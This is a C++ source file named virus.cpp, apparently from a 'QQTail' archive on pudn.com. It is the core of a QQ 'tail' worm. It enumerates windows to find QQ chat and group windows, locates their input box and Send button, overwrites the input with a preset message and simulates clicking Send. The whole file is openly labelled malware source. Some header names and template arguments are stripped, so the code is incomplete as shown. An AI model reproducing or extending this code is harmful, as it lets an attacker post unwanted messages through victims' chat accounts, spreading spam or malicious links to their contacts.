www.pudn.com > QQTail.rar > virus.cpp
// virus.cpp : 定义控制台应用程序的入口点。 // #include "StdAfx.h" #include#include #include #include #include #include #include #include using namespace std; BOOL CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam ); BOOL CALLBACK EnumChildWindowsProc( HWND hwnd, LPARAM lParam ); void GetCtrlHwnd(HWND hwnd ); template struct IsQQChatWindow : public unary_function { bool operator()( const Type& hwnd )const { TCHAR szTmp[MAX_PATH] = { 0 }; GetWindowText( hwnd, szTmp, MAX_PATH ); wstring strText = szTmp; TCHAR szClassName[MAX_PATH] = { 0 }; GetClassName( hwnd, szClassName, MAX_PATH ); if( (strText.find( L"聊天中" ) != wstring::npos) && (lstrcmpiW( szClassName, L"#32770" ) == 0) ) return true; if( (strText.find( L"群" ) != wstring::npos) && (lstrcmpiW( szClassName, L"#32770" ) == 0) ) return true; if( (strText.find( L"正在输入" ) != wstring::npos) && (lstrcmpiW( szClassName, L"#32770" ) == 0) ) return true; return false; } }; vector vecHwnd; HWND hSendButton; HWND hEditBox; TCHAR g_str[] =L""; int main( void ) { EnumWindows( EnumWindowsProc, NULL ); TCHAR szText[MAX_PATH] = { 0 }; locale loc("chs"); wcout.imbue( loc ); wcout<< L"all the QQ chat windows:"<< endl; vecHwnd.erase( remove_if( vecHwnd.begin(), vecHwnd.end(), not1(IsQQChatWindow ()) ), vecHwnd.end() ); for( vector ::const_iterator it = vecHwnd.begin(); it != vecHwnd.end(); ++it ) { GetWindowText( *it, szText, MAX_PATH ); wcout << szText << endl; ZeroMemory( szText, sizeof szText ); } hSendButton = NULL; hEditBox = NULL; GetCtrlHwnd( vecHwnd[0] ); if( hSendButton != NULL && hEditBox != NULL ) { wcout << L"OK" << endl; SendMessage( hEditBox, EM_SETSEL, 0, -1 ); SendMessage( hEditBox, EM_REPLACESEL, FALSE, (LPARAM)g_str ); SendMessage( hSendButton, WM_LBUTTONDOWN, NULL, NULL ); SendMessage( hSendButton, WM_LBUTTONUP, NULL, NULL ); } return 0; } BOOL CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam ) { if( GetWindowLong( hwnd, GWL_STYLE) & WS_VISIBLE ) vecHwnd.push_back( hwnd ); return TRUE; } void GetCtrlHwnd( HWND hwnd ) { EnumChildWindows( hwnd, EnumChildWindowsProc, NULL ); } BOOL CALLBACK EnumChildWindowsProc( HWND hwnd, LPARAM lParam ) { TCHAR szText[MAX_PATH] = { 0 }; GetWindowText( hwnd, szText, MAX_PATH ); if( lstrcmpiW( szText,L"发送(S)" ) == 0 ) { hSendButton = hwnd; return TRUE; } GetClassName( hwnd, szText, MAX_PATH ); if( lstrcmpiW( szText, L"AfxWnd42" ) == 0 ) { HWND hChild = GetWindow( hwnd, GW_CHILD ); if( hChild == NULL ) return TRUE; GetClassName( hChild, szText, MAX_PATH ); if( lstrcmpiW( szText, L"RichEdit20A") == 0 ) { hEditBox = hChild; return TRUE; } } return TRUE; }